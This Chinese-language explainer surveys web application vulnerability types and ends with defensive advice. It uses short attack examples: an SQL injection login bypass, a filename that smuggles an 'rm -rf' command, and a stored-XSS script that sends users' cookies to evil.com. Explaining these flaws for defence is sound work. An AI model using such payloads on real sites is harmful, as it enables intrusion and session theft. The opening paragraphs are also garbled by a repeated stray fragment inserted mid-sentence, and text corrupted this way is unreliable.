web应用漏洞有哪些

2023年，应用漏某电商平台因为一个优惠券接口没做频率限制，应用漏被人用脚本在半小时内刷走了价值七十多万的应用漏满减券。事后复盘，应用漏漏洞本身不复杂——就是应用漏没防住重复提交。但造成的应用漏损失，比很多听起来更“高级”的应用漏漏洞都大。

Web应用漏洞这事，应用漏很多时候不是应用漏技术有多深，而是应用漏开发者有没有想到那一层。下面按常见类型拆开说。应用漏

注入类：SQL注入还没死

SQL注入被说了二十年，应用漏按理说应该绝迹了。应用漏但每年OWASP Top 10它还在。应用漏原因很简单：老系统多，应用漏外包代码多，拼接SQL的习惯改不掉。

我见过一个后台登录接口，代码大概是这样："SELECT * FROM users WHERE name='" + username + "' AND pass='" + password + "'"。输入 ' OR '1'='1 就能直接进去。这种代码放到今天，任何一个代码扫描工具都会报警，但它就是跑在某家公司的生产环境里。

命令注入也类似。一个图片处理功能调用了 system("convert " + filename)，用户把文件名传成 test.jpg; rm -rf /tmp/*，服务器上临时目录就被清了。

XSS：你写的评论可能是一段脚本

跨站脚本攻击分存储型、反射型、DOM型。存储型最危险——攻击者把恶意脚本写进数据库，所有访问该页面的用户都会中招。

一个真实案例：某论坛的帖子标题没做HTML转义。有人发帖，标题里带了 <script>fetch('https://evil.com/steal?c='+document.cookie)</script>。只要有人点进这个帖子，cookie就被发到攻击者服务器。如果站点没有HttpOnly标志，session直接被盗。

反射型相对好防，但钓鱼场景下依然有效。DOM型则完全发生在浏览器端，服务端日志里什么都看不到，排查起来很头疼。

CSRF：借你的手发请求

跨站请求伪造的核心是“浏览器自动带cookie”。你登录了银行网站A，然后打开恶意网站B。B的页面里藏了一个向A发转账请求的form，浏览器会自动带上A的cookie。A的服务端一看cookie有效，就执行了转账。

防御手段主要是CSRF Token和SameSite Cookie。但很多老系统两个都没有，只靠Referer检查——而Referer是可以被某些手段绕过的。

文件上传：最直接的入口

文件上传漏洞的利用方式很直接：传一个webshell上去，然后控制整台服务器。

常见问题包括：只检查Content-Type不检查文件内容、黑名单漏了某些后缀（比如.phtml、.php5）、上传目录可以被直接访问。我见过一个系统，上传头像的功能允许传PHP文件，而且上传后的路径可以直接在浏览器打开。等于把服务器钥匙挂在门上。

权限类：越权才是重灾区

水平越权：用户A能看用户B的订单。改一下URL里的order_id就行。垂直越权：普通用户能访问管理员接口。比如/admin/deleteUser?id=123，普通用户直接请求也能成功。

这类漏洞的根源是：服务端只做了身份认证，没做权限校验。开发者觉得“前端已经隐藏了按钮”，但攻击者根本不走前端。

逻辑漏洞：规则没想清楚

逻辑漏洞没有固定模式。比如：密码找回时验证码返回在响应里、支付时金额可以被改成负数、优惠券可以叠加使用超出设计预期。前面提到的优惠券被刷，就属于这一类。

这类漏洞扫描器很难发现，因为请求本身“格式正确”。只有理解了业务规则，才能看出哪里不对。

组件漏洞：你用的库可能有问题

Log4j2的JNDI注入、Fastjson的反序列化、Struts2的OGNL表达式——这些都不是开发者自己写的代码，但一旦引入，整个应用就暴露了。

问题在于，很多团队根本不知道自己用了什么版本。一个项目依赖几十个npm包或Maven依赖，传递依赖层层嵌套。没有SCA工具，基本靠运气。

写到这里，列出来的只是最常见的几类。实际渗透测试中，漏洞往往是组合利用的：一个信息泄露帮你找到后台地址，一个弱口令让你进去，一个文件上传让你拿到shell。单看每一步都不致命，串起来就是完整攻击链。

防御没有银弹。输入验证、输出编码、最小权限、参数化查询、CSRF Token、安全响应头——这些老生常谈的手段，做到位就能挡住大部分攻击。问题从来不是“不知道怎么做”，而是“没做”或者“做了一半”。